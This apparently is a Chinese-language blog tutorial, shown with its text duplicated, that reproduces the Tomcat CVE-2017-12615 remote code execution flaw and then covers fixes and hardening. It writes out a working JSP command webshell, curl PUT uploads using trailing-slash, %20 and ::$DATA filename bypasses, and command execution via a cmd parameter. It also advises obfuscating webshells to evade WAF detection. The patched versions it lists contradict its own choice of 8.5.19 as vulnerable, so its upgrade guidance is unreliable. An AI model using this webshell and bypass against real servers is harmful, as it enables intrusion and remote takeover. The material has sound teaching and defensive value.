1. 项目概述一次经典的Web安全攻防演练在Web应用安全领域漏洞复现是安全研究员、渗透测试工程师乃至开发人员必须掌握的核心技能。它不仅是验证漏洞真实危害、理解攻击原理的直接途径更是构建有效防御策略的基石。今天我想和大家深入探讨一个在Apache Tomcat历史上留下深刻印记的漏洞CVE-2017-12615。这个漏洞之所以经典不仅在于其影响范围广波及当时大量使用Tomcat 7.0.x至8.5.x版本的线上服务更在于其利用方式巧妙地绕过了Tomcat的安全机制直接导致了远程代码执行RCE的严重后果。对于刚入门安全的朋友这是一个绝佳的学习案例对于有经验的老手重温其细节也能带来新的启发。本文将从一个实践者的角度带你从零开始完整复现这个漏洞并深入剖析其背后的原理、利用条件以及关键的防护思路。2. 漏洞原理深度解析PUT方法与静态资源处理的“误会”要理解CVE-2017-12615我们不能仅仅停留在“上传JSP木马”这个操作层面必须深入到Tomcat处理HTTP请求的核心逻辑中去。这个漏洞的本质是Tomcat在特定配置下对HTTP PUT请求的处理逻辑存在缺陷允许攻击者上传一个包含JSP代码的恶意文件并最终被Tomcat当作JSP动态脚本解析执行。2.1 Tomcat默认配置的“安全假象”首先我们需要破除一个常见的误解默认情况下Tomcat是禁止通过PUT方法上传文件的。是的在标准的conf/web.xml配置中对于DefaultServlet负责处理静态文件请求的定义其readonly参数默认值为true。这意味着任何试图通过PUT、DELETE等方法修改服务器资源的请求都会被拒绝返回403错误。这层防护看起来是坚固的。然而问题出在配置的灵活性上。Tomcat允许开发人员通过自定义的web.xml来覆盖或补充全局配置。如果开发者在应用的WEB-INF/web.xml中为某个目录或整个应用显式地添加了一个DefaultServlet并且没有设置readonly参数或者将其设置为false那么针对该路径的PUT请求就会被允许。这是漏洞能够被利用的第一个前提条件存在一个配置了readonlyfalse的DefaultServlet。注意在实际的漏洞利用环境中这个条件往往不是攻击者创造的而是由于开发人员不安全的配置习惯导致的。例如某些应用为了实现文件管理功能可能会主动开启PUT方法。2.2 文件名绕过的“魔术”满足了PUT请求被允许的条件攻击者就可以上传文件了。但如果直接上传一个shell.jspTomcat会乖乖地把它当作静态文件存储而不会执行其中的JSP代码。因为JSP文件需要经过JspServlet的处理、编译才能执行。这里就引出了漏洞最精妙的部分文件名绕过。Tomcat在决定一个请求该由哪个Servlet处理时依赖于请求的URL路径。当请求/uploads/shell.jsp时Tomcat会根据.jsp后缀将其路由给JspServlet。但攻击者可以利用一些技巧让文件以.jsp结尾存储却在请求时让Tomcat将其误判为静态资源从而绕过JspServlet的编译前安全检查如果存在的话但在文件落地后又能被当作JSP执行。在Windows环境下主要的绕过手法是利用文件系统特性shell.jsp末尾加空格Windows文件系统会自动去除文件名末尾的空格所以存储的文件名实际是shell.jsp但PUT请求时使用的URL是/uploads/shell.jsp%20。Tomcat在路径解析时可能不会严格校验末尾空格从而允许文件上传。shell.jsp::$DATA这是NTFS文件流特性。::$DATA是默认的数据流标识符。当Tomcat在Windows上接收到这个文件名时它可能会将::$DATA之后的内容当作流名处理而实际创建的文件名就是shell.jsp。在Linux环境下手法则不同shell.jsp/末尾加斜杠这是最常用且跨平台兼容性较好的方法。当请求路径为/uploads/shell.jsp/时Tomcat可能将其识别为一个目录虽然.jsp作为目录名很奇怪从而交由DefaultServlet处理PUT请求。但文件系统在创建文件时无法创建以/结尾的文件名因此实际创建的文件就是shell.jsp。核心矛盾点在于Tomcat处理PUT请求的逻辑决定由哪个Servlet处理、如何解析路径和操作系统文件系统最终存储文件的行为存在不一致。攻击者正是利用了这个不一致性欺骗了Tomcat的请求路由机制让恶意JSP文件得以落地。2.3 从文件上传到代码执行一旦恶意JSP文件例如包含% Runtime.getRuntime().exec(request.getParameter(cmd)); %的Webshell被成功上传到Web应用目录下如webapps/ROOT攻击者就可以直接通过浏览器访问这个JSP文件的路径。此时Tomcat不会再走DefaultServlet的静态文件处理流程而是根据.jsp后缀正常地将其交给JspServlet进行编译和执行从而实现了远程代码执行。3. 漏洞复现环境搭建与配置纸上得来终觉浅绝知此事要躬行。下面我们动手搭建一个可复现的漏洞环境。为了安全和便捷强烈建议在虚拟机或隔离的Docker环境中进行。3.1 环境准备选择有漏洞的Tomcat版本我们选择Tomcat 8.5.x系列中一个受影响的版本例如8.5.19。你可以从Apache Archive下载。# 下载Tomcat 8.5.19 wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz # 解压 tar -zxvf apache-tomcat-8.5.19.tar.gz cd apache-tomcat-8.5.193.2 关键漏洞配置开启“潘多拉魔盒”复现的关键在于模拟不安全的配置。我们需要修改webapps/ROOT/WEB-INF/web.xml文件如果不存在则创建添加一个允许PUT方法的DefaultServlet映射。定位或创建配置文件apache-tomcat-8.5.19/webapps/ROOT/WEB-INF/web.xml编辑该文件添加以下内容?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namereadonly/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet /web-app这段配置的核心是init-param中的readonly参数被设置为false。这相当于为ROOT应用根目录下的所有资源打开了PUT、DELETE等方法的大门。启动Tomcatcd apache-tomcat-8.5.19/bin ./startup.sh # Linux # 或 startup.bat # Windows访问http://localhost:8080确认Tomcat正常启动。实操心得在实际的漏洞挖掘中我们往往无法直接修改目标的web.xml。因此更常见的利用场景是寻找那些已经存在此类错误配置的线上应用。可以使用一些扫描器或手动探测通过发送OPTIONS请求到不同路径检查其允许的HTTP方法中是否包含PUT。4. 漏洞利用过程全记录环境就绪现在我们扮演攻击者尝试利用漏洞获取服务器控制权。4.1 探测漏洞是否存在首先我们需要确认目标是否允许PUT方法。使用curl命令发送一个OPTIONS请求curl -v -X OPTIONS http://localhost:8080/在返回的响应头中查找Allow:字段。如果其中包含PUT则说明该路径允许PUT方法初步满足漏洞利用条件。4.2 制作Webshell准备一个最简单的JSP Webshell保存为shell.txt内容如下% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本会接收一个名为cmd的GET参数并在服务器上执行该命令将结果输出到网页。4.3 利用文件名绕过技巧上传Webshell这里我们演示在Linux环境下最通用的/绕过方法。使用curl进行PUT请求curl -v -X PUT --data-binary shell.txt http://localhost:8080/shell.jsp/命令详解-v: 显示详细过程便于调试。-X PUT: 指定使用PUT方法。--data-binary shell.txt: 将shell.txt文件的内容作为请求体二进制数据发送。http://localhost:8080/shell.jsp/: 这是关键我们在请求的路径末尾添加了一个斜杠/。如果上传成功服务器会返回201 Created状态码。如果返回403 Forbidden说明readonly可能仍是true或者路径权限不足如果返回409 Conflict可能是路径问题可以尝试换一个不存在的文件名。4.4 访问Webshell执行命令上传成功后我们访问的路径是不带斜杠的.jsp文件http://localhost:8080/shell.jsp?cmdid如果漏洞利用成功页面将显示执行id命令的结果即当前Tomcat进程运行的用户和组信息通常是tomcat或root取决于启动方式。至此我们完成了从漏洞探测到代码执行的全过程。注意事项在实际渗透测试中直接使用Runtime.exec()执行命令可能会受到环境变量、管道符、重定向等限制。更稳定的Webshell可能会使用ProcessBuilder或编码后的命令。此外上传的Webshell内容也要进行混淆避免被简单的WAF或静态检测发现。5. 漏洞修复方案与安全加固实践复现漏洞是为了更好地防御。针对CVE-2017-12615Apache官方迅速发布了修复版本。但修复不仅仅是升级更是一系列安全实践的落实。5.1 官方修复与版本升级最根本的解决方案是升级到不受影响的Tomcat版本Tomcat 7.x 系列升级至 7.0.81 及以上。Tomcat 8.5.x 系列升级至 8.5.16 及以上。Tomcat 9.0.x 系列该版本初始即已修复。官方的修复逻辑主要在于强化了DefaultServlet对PUT请求的文件名校验。在新版本中即使readonly被设置为falseTomcat也会在接收到PUT请求时对请求的URL路径进行规范化处理并严格检查最终的文件名是否以/结尾或者是否包含Windows流等非法字符从根源上堵死了绕过路径。5.2 安全配置最佳实践除了升级以下配置是管理Tomcat时必须遵循的黄金法则严格审查readonly参数除非有绝对必要且可控的业务需求如WebDAV否则永远不要将DefaultServlet的readonly参数设置为false。检查所有应用包括ROOT的WEB-INF/web.xml以及全局的conf/web.xml。移除或禁用示例应用生产环境务必删除webapps目录下的docs,examples,host-manager,manager等示例和管理应用。这些应用历史上曾多次曝出漏洞。使用最小权限原则运行Tomcat绝对不要使用root用户启动Tomcat。应该创建一个专用的、低权限的系统用户如tomcat并确保该用户仅对Tomcat所需的目录如logs,work,temp有写权限对webapps和conf目录最好只有读权限。这样即使被攻破攻击者能造成的破坏也有限。部署Web应用防火墙WAF在Tomcat前端部署WAF可以拦截异常的PUT请求、包含可疑路径的请求如包含/..;/、::$DATA、末尾带特殊空格的请求以及恶意的JSP请求内容。定期安全审计与扫描使用漏洞扫描工具定期对Tomcat服务进行扫描检查是否存在错误配置、已知漏洞和弱口令如Manager应用口令。5.3 针对PUT方法攻击的Nginx防护示例如果你使用Nginx作为Tomcat的反向代理可以在Nginx层添加一道防护。在对应的server配置块中可以限制允许的HTTP方法location / { # 只允许GET, POST, HEAD方法显式拒绝PUT, DELETE等 if ($request_method !~ ^(GET|POST|HEAD)$ ) { return 405; } proxy_pass http://tomcat_backend; # ... 其他代理配置 }这种方法简单有效但需要注意如果业务确实需要PUT方法如RESTful API则需要针对特定路径进行精细化的配置而不能一刀切。6. 漏洞复现中的常见问题与排查技巧在复现过程中你可能会遇到各种问题。这里我总结了一些常见的坑和解决方法。6.1 上传成功但访问404问题描述PUT请求返回201 Created但访问shell.jsp时返回404。排查思路检查文件实际位置登录服务器到Tomcat的webapps/ROOT目录下查看确认文件是否真的以shell.jsp的名字存在而不是shell.jsp/或其他名字。ls -la命令可以查看包含特殊字符的文件名。检查文件权限确保Tomcat进程用户有读取该文件的权限。检查上下文路径确认你访问的URL是否正确。如果你修改了ROOT应用或者将应用部署到了其他路径需要相应调整URL。查看Tomcat日志logs/catalina.out和logs/localhost.yyyy-MM-dd.log中通常会有详细的错误信息例如JSP编译错误。可能你的JSP代码存在语法错误。6.2 PUT请求返回403 Forbidden问题描述无论尝试何种绕过技巧PUT请求始终返回403。排查思路确认web.xml配置已生效检查修改的web.xml文件是否在正确的应用目录下如ROOT/WEB-INF/并且格式正确无语法错误。重启Tomcat使配置生效。检查全局配置覆盖检查conf/web.xml中的全局DefaultServlet配置确保其readonly没有被显式设置为true且未被覆盖。有时全局配置的优先级更高。检查操作系统/容器权限确保Tomcat运行用户对目标目录如webapps/ROOT有写权限。在Linux上使用ps aux | grep tomcat查看运行用户再用ls -ld检查目录权限。可能存在于子目录尝试将PUT请求发送到更深层的子目录例如http://localhost:8080/test/shell.jsp/并在test目录下创建对应的WEB-INF/web.xml配置。6.3 命令执行无回显或失败问题描述可以访问shell.jsp页面但执行cmd参数后页面空白或报错。排查思路命令执行环境问题Runtime.exec()不解析Shell语法。像ls -la; pwd这样的命令会失败。复杂命令需要传递到/bin/sh -c或者使用String[]数组形式传递参数。权限问题Tomcat进程用户权限过低无法执行某些命令如ifconfig,netstat。输出流问题示例Webshell只读取了命令的标准输出stdout未读取标准错误stderr。如果命令执行出错错误信息没有捕获导致页面空白。更健壮的Webshell应该同时读取stdout和stderr。防火墙或安全软件拦截服务器可能装有主机防火墙或安全软件拦截了可疑的子进程创建行为。6.4 在Windows环境下复现的特殊问题空格绕过失效新版Windows或特定环境下的Tomcat可能已经修复了末尾空格的处理逻辑。流特性利用shell.jsp::$DATA在某些Java版本或Tomcat配置下可能无法成功创建文件。可以尝试shell.jsp%20URL编码的空格或shell.jsp.末尾加点Windows文件系统会去除末尾的点。路径分隔符注意Windows使用反斜杠\但在URL和Java代码中仍需使用正斜杠/。我个人的体会是漏洞复现的价值远不止于“成功弹出一个计算器”。通过亲手搭建环境、触发漏洞、分析流量、排查问题你能深刻理解安全机制是如何被一环一环突破的。CVE-2017-12615就是一个完美的教学样本它教会我们默认安全不等于绝对安全配置的灵活性是把双刃剑而纵深防御必须覆盖从网络层、应用服务器层到代码层的每一个环节。下次当你配置一个中间件或者审查一段代码时不妨多问一句“这里有没有可能因为一个不起眼的配置打开一扇危险的后门” 这种思维习惯才是安全研究和工程实践中最宝贵的财富。
Apache Tomcat CVE-2017-12615漏洞复现与安全防护实践
发布时间:2026/6/21 11:52:59
1. 项目概述一次经典的Web安全攻防演练在Web应用安全领域漏洞复现是安全研究员、渗透测试工程师乃至开发人员必须掌握的核心技能。它不仅是验证漏洞真实危害、理解攻击原理的直接途径更是构建有效防御策略的基石。今天我想和大家深入探讨一个在Apache Tomcat历史上留下深刻印记的漏洞CVE-2017-12615。这个漏洞之所以经典不仅在于其影响范围广波及当时大量使用Tomcat 7.0.x至8.5.x版本的线上服务更在于其利用方式巧妙地绕过了Tomcat的安全机制直接导致了远程代码执行RCE的严重后果。对于刚入门安全的朋友这是一个绝佳的学习案例对于有经验的老手重温其细节也能带来新的启发。本文将从一个实践者的角度带你从零开始完整复现这个漏洞并深入剖析其背后的原理、利用条件以及关键的防护思路。2. 漏洞原理深度解析PUT方法与静态资源处理的“误会”要理解CVE-2017-12615我们不能仅仅停留在“上传JSP木马”这个操作层面必须深入到Tomcat处理HTTP请求的核心逻辑中去。这个漏洞的本质是Tomcat在特定配置下对HTTP PUT请求的处理逻辑存在缺陷允许攻击者上传一个包含JSP代码的恶意文件并最终被Tomcat当作JSP动态脚本解析执行。2.1 Tomcat默认配置的“安全假象”首先我们需要破除一个常见的误解默认情况下Tomcat是禁止通过PUT方法上传文件的。是的在标准的conf/web.xml配置中对于DefaultServlet负责处理静态文件请求的定义其readonly参数默认值为true。这意味着任何试图通过PUT、DELETE等方法修改服务器资源的请求都会被拒绝返回403错误。这层防护看起来是坚固的。然而问题出在配置的灵活性上。Tomcat允许开发人员通过自定义的web.xml来覆盖或补充全局配置。如果开发者在应用的WEB-INF/web.xml中为某个目录或整个应用显式地添加了一个DefaultServlet并且没有设置readonly参数或者将其设置为false那么针对该路径的PUT请求就会被允许。这是漏洞能够被利用的第一个前提条件存在一个配置了readonlyfalse的DefaultServlet。注意在实际的漏洞利用环境中这个条件往往不是攻击者创造的而是由于开发人员不安全的配置习惯导致的。例如某些应用为了实现文件管理功能可能会主动开启PUT方法。2.2 文件名绕过的“魔术”满足了PUT请求被允许的条件攻击者就可以上传文件了。但如果直接上传一个shell.jspTomcat会乖乖地把它当作静态文件存储而不会执行其中的JSP代码。因为JSP文件需要经过JspServlet的处理、编译才能执行。这里就引出了漏洞最精妙的部分文件名绕过。Tomcat在决定一个请求该由哪个Servlet处理时依赖于请求的URL路径。当请求/uploads/shell.jsp时Tomcat会根据.jsp后缀将其路由给JspServlet。但攻击者可以利用一些技巧让文件以.jsp结尾存储却在请求时让Tomcat将其误判为静态资源从而绕过JspServlet的编译前安全检查如果存在的话但在文件落地后又能被当作JSP执行。在Windows环境下主要的绕过手法是利用文件系统特性shell.jsp末尾加空格Windows文件系统会自动去除文件名末尾的空格所以存储的文件名实际是shell.jsp但PUT请求时使用的URL是/uploads/shell.jsp%20。Tomcat在路径解析时可能不会严格校验末尾空格从而允许文件上传。shell.jsp::$DATA这是NTFS文件流特性。::$DATA是默认的数据流标识符。当Tomcat在Windows上接收到这个文件名时它可能会将::$DATA之后的内容当作流名处理而实际创建的文件名就是shell.jsp。在Linux环境下手法则不同shell.jsp/末尾加斜杠这是最常用且跨平台兼容性较好的方法。当请求路径为/uploads/shell.jsp/时Tomcat可能将其识别为一个目录虽然.jsp作为目录名很奇怪从而交由DefaultServlet处理PUT请求。但文件系统在创建文件时无法创建以/结尾的文件名因此实际创建的文件就是shell.jsp。核心矛盾点在于Tomcat处理PUT请求的逻辑决定由哪个Servlet处理、如何解析路径和操作系统文件系统最终存储文件的行为存在不一致。攻击者正是利用了这个不一致性欺骗了Tomcat的请求路由机制让恶意JSP文件得以落地。2.3 从文件上传到代码执行一旦恶意JSP文件例如包含% Runtime.getRuntime().exec(request.getParameter(cmd)); %的Webshell被成功上传到Web应用目录下如webapps/ROOT攻击者就可以直接通过浏览器访问这个JSP文件的路径。此时Tomcat不会再走DefaultServlet的静态文件处理流程而是根据.jsp后缀正常地将其交给JspServlet进行编译和执行从而实现了远程代码执行。3. 漏洞复现环境搭建与配置纸上得来终觉浅绝知此事要躬行。下面我们动手搭建一个可复现的漏洞环境。为了安全和便捷强烈建议在虚拟机或隔离的Docker环境中进行。3.1 环境准备选择有漏洞的Tomcat版本我们选择Tomcat 8.5.x系列中一个受影响的版本例如8.5.19。你可以从Apache Archive下载。# 下载Tomcat 8.5.19 wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz # 解压 tar -zxvf apache-tomcat-8.5.19.tar.gz cd apache-tomcat-8.5.193.2 关键漏洞配置开启“潘多拉魔盒”复现的关键在于模拟不安全的配置。我们需要修改webapps/ROOT/WEB-INF/web.xml文件如果不存在则创建添加一个允许PUT方法的DefaultServlet映射。定位或创建配置文件apache-tomcat-8.5.19/webapps/ROOT/WEB-INF/web.xml编辑该文件添加以下内容?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namereadonly/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet /web-app这段配置的核心是init-param中的readonly参数被设置为false。这相当于为ROOT应用根目录下的所有资源打开了PUT、DELETE等方法的大门。启动Tomcatcd apache-tomcat-8.5.19/bin ./startup.sh # Linux # 或 startup.bat # Windows访问http://localhost:8080确认Tomcat正常启动。实操心得在实际的漏洞挖掘中我们往往无法直接修改目标的web.xml。因此更常见的利用场景是寻找那些已经存在此类错误配置的线上应用。可以使用一些扫描器或手动探测通过发送OPTIONS请求到不同路径检查其允许的HTTP方法中是否包含PUT。4. 漏洞利用过程全记录环境就绪现在我们扮演攻击者尝试利用漏洞获取服务器控制权。4.1 探测漏洞是否存在首先我们需要确认目标是否允许PUT方法。使用curl命令发送一个OPTIONS请求curl -v -X OPTIONS http://localhost:8080/在返回的响应头中查找Allow:字段。如果其中包含PUT则说明该路径允许PUT方法初步满足漏洞利用条件。4.2 制作Webshell准备一个最简单的JSP Webshell保存为shell.txt内容如下% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本会接收一个名为cmd的GET参数并在服务器上执行该命令将结果输出到网页。4.3 利用文件名绕过技巧上传Webshell这里我们演示在Linux环境下最通用的/绕过方法。使用curl进行PUT请求curl -v -X PUT --data-binary shell.txt http://localhost:8080/shell.jsp/命令详解-v: 显示详细过程便于调试。-X PUT: 指定使用PUT方法。--data-binary shell.txt: 将shell.txt文件的内容作为请求体二进制数据发送。http://localhost:8080/shell.jsp/: 这是关键我们在请求的路径末尾添加了一个斜杠/。如果上传成功服务器会返回201 Created状态码。如果返回403 Forbidden说明readonly可能仍是true或者路径权限不足如果返回409 Conflict可能是路径问题可以尝试换一个不存在的文件名。4.4 访问Webshell执行命令上传成功后我们访问的路径是不带斜杠的.jsp文件http://localhost:8080/shell.jsp?cmdid如果漏洞利用成功页面将显示执行id命令的结果即当前Tomcat进程运行的用户和组信息通常是tomcat或root取决于启动方式。至此我们完成了从漏洞探测到代码执行的全过程。注意事项在实际渗透测试中直接使用Runtime.exec()执行命令可能会受到环境变量、管道符、重定向等限制。更稳定的Webshell可能会使用ProcessBuilder或编码后的命令。此外上传的Webshell内容也要进行混淆避免被简单的WAF或静态检测发现。5. 漏洞修复方案与安全加固实践复现漏洞是为了更好地防御。针对CVE-2017-12615Apache官方迅速发布了修复版本。但修复不仅仅是升级更是一系列安全实践的落实。5.1 官方修复与版本升级最根本的解决方案是升级到不受影响的Tomcat版本Tomcat 7.x 系列升级至 7.0.81 及以上。Tomcat 8.5.x 系列升级至 8.5.16 及以上。Tomcat 9.0.x 系列该版本初始即已修复。官方的修复逻辑主要在于强化了DefaultServlet对PUT请求的文件名校验。在新版本中即使readonly被设置为falseTomcat也会在接收到PUT请求时对请求的URL路径进行规范化处理并严格检查最终的文件名是否以/结尾或者是否包含Windows流等非法字符从根源上堵死了绕过路径。5.2 安全配置最佳实践除了升级以下配置是管理Tomcat时必须遵循的黄金法则严格审查readonly参数除非有绝对必要且可控的业务需求如WebDAV否则永远不要将DefaultServlet的readonly参数设置为false。检查所有应用包括ROOT的WEB-INF/web.xml以及全局的conf/web.xml。移除或禁用示例应用生产环境务必删除webapps目录下的docs,examples,host-manager,manager等示例和管理应用。这些应用历史上曾多次曝出漏洞。使用最小权限原则运行Tomcat绝对不要使用root用户启动Tomcat。应该创建一个专用的、低权限的系统用户如tomcat并确保该用户仅对Tomcat所需的目录如logs,work,temp有写权限对webapps和conf目录最好只有读权限。这样即使被攻破攻击者能造成的破坏也有限。部署Web应用防火墙WAF在Tomcat前端部署WAF可以拦截异常的PUT请求、包含可疑路径的请求如包含/..;/、::$DATA、末尾带特殊空格的请求以及恶意的JSP请求内容。定期安全审计与扫描使用漏洞扫描工具定期对Tomcat服务进行扫描检查是否存在错误配置、已知漏洞和弱口令如Manager应用口令。5.3 针对PUT方法攻击的Nginx防护示例如果你使用Nginx作为Tomcat的反向代理可以在Nginx层添加一道防护。在对应的server配置块中可以限制允许的HTTP方法location / { # 只允许GET, POST, HEAD方法显式拒绝PUT, DELETE等 if ($request_method !~ ^(GET|POST|HEAD)$ ) { return 405; } proxy_pass http://tomcat_backend; # ... 其他代理配置 }这种方法简单有效但需要注意如果业务确实需要PUT方法如RESTful API则需要针对特定路径进行精细化的配置而不能一刀切。6. 漏洞复现中的常见问题与排查技巧在复现过程中你可能会遇到各种问题。这里我总结了一些常见的坑和解决方法。6.1 上传成功但访问404问题描述PUT请求返回201 Created但访问shell.jsp时返回404。排查思路检查文件实际位置登录服务器到Tomcat的webapps/ROOT目录下查看确认文件是否真的以shell.jsp的名字存在而不是shell.jsp/或其他名字。ls -la命令可以查看包含特殊字符的文件名。检查文件权限确保Tomcat进程用户有读取该文件的权限。检查上下文路径确认你访问的URL是否正确。如果你修改了ROOT应用或者将应用部署到了其他路径需要相应调整URL。查看Tomcat日志logs/catalina.out和logs/localhost.yyyy-MM-dd.log中通常会有详细的错误信息例如JSP编译错误。可能你的JSP代码存在语法错误。6.2 PUT请求返回403 Forbidden问题描述无论尝试何种绕过技巧PUT请求始终返回403。排查思路确认web.xml配置已生效检查修改的web.xml文件是否在正确的应用目录下如ROOT/WEB-INF/并且格式正确无语法错误。重启Tomcat使配置生效。检查全局配置覆盖检查conf/web.xml中的全局DefaultServlet配置确保其readonly没有被显式设置为true且未被覆盖。有时全局配置的优先级更高。检查操作系统/容器权限确保Tomcat运行用户对目标目录如webapps/ROOT有写权限。在Linux上使用ps aux | grep tomcat查看运行用户再用ls -ld检查目录权限。可能存在于子目录尝试将PUT请求发送到更深层的子目录例如http://localhost:8080/test/shell.jsp/并在test目录下创建对应的WEB-INF/web.xml配置。6.3 命令执行无回显或失败问题描述可以访问shell.jsp页面但执行cmd参数后页面空白或报错。排查思路命令执行环境问题Runtime.exec()不解析Shell语法。像ls -la; pwd这样的命令会失败。复杂命令需要传递到/bin/sh -c或者使用String[]数组形式传递参数。权限问题Tomcat进程用户权限过低无法执行某些命令如ifconfig,netstat。输出流问题示例Webshell只读取了命令的标准输出stdout未读取标准错误stderr。如果命令执行出错错误信息没有捕获导致页面空白。更健壮的Webshell应该同时读取stdout和stderr。防火墙或安全软件拦截服务器可能装有主机防火墙或安全软件拦截了可疑的子进程创建行为。6.4 在Windows环境下复现的特殊问题空格绕过失效新版Windows或特定环境下的Tomcat可能已经修复了末尾空格的处理逻辑。流特性利用shell.jsp::$DATA在某些Java版本或Tomcat配置下可能无法成功创建文件。可以尝试shell.jsp%20URL编码的空格或shell.jsp.末尾加点Windows文件系统会去除末尾的点。路径分隔符注意Windows使用反斜杠\但在URL和Java代码中仍需使用正斜杠/。我个人的体会是漏洞复现的价值远不止于“成功弹出一个计算器”。通过亲手搭建环境、触发漏洞、分析流量、排查问题你能深刻理解安全机制是如何被一环一环突破的。CVE-2017-12615就是一个完美的教学样本它教会我们默认安全不等于绝对安全配置的灵活性是把双刃剑而纵深防御必须覆盖从网络层、应用服务器层到代码层的每一个环节。下次当你配置一个中间件或者审查一段代码时不妨多问一句“这里有没有可能因为一个不起眼的配置打开一扇危险的后门” 这种思维习惯才是安全研究和工程实践中最宝贵的财富。